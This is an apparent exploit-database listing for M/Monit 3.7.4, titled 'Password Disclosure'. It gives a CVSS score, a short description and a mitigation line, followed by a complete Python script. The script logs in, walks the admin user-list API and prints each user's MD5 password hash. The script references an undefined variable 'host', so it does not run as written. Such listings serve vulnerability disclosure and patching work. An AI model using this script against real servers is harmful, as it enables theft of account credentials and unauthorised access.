M/Monit 3.7.4 - Password Disclosure

vendor:

M/Monit

by:

Dolev Farhi

8.8

CVSS

HIGH

Password Disclosure

200

CWE

Product Name: M/Monit

Affected Version From: 3.7.4

Affected Version To: 3.7.4

Patch Exists: YES

Related CWE: N/A

CPE: a:mmonit:mmonit:3.7.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2020

M/Monit 3.7.4 – Password Disclosure

This exploit allows an attacker to steal MD5 hashes of users from M/Monit 3.7.4. The attacker can use the Session() function from the requests library to create a session and then use the post() function to send a POST request to the '/z_security_check' endpoint with the username and password. The attacker can then use the get() function to send a GET request to the '/api/1/admin/users/list' endpoint to get a list of users and then use the get() function to send a GET request to the '/api/1/admin/users/get' endpoint to get the MD5 hash of the user. The attacker can then use the stolen MD5 hash to gain access to the user's account.

Mitigation:

The user should ensure that strong passwords are used and that the application is kept up to date with the latest security patches.

Source

Exploit-DB raw data:

# Title: M/Monit 3.7.4 - Password Disclosure
# Author: Dolev Farhi
# Date: 2020-07-09
# Vendor Homepage: https://mmonit.com/
# Version : 3.7.4

import sys
import requests

url = 'http://your_ip_here:8080'
username = 'test'
password = 'test123'

sess = requests.Session()
sess.get(host)

def login():
  print('Attempting to login...')
  data = {
    'z_username':username,
    'z_password':password
  }
  headers = {
    'Content-Type':'application/x-www-form-urlencoded'
  }
  
  resp = sess.post(url + '/z_security_check', data=data, headers=headers)
  if resp.ok:
    print('Logged in successfully.')
  else:
    print('Could not login.')
    sys.exit(1)

def steal_hashes():
  resp = sess.get(url + '/api/1/admin/users/list')
  if resp.ok:
    for i in resp.json():
      mmonit_user = i['uname']
      result = sess.get(url + '/api/1/admin/users/get?uname={}'.format(mmonit_user))
      mmonit_passw = result.json()['password']
      print('Stolen MD5 hash. User: {}, Hash: {}'.format(mmonit_user, mmonit_passw))
    
if __name__ == '__main__':
  login()
  steal_hashes()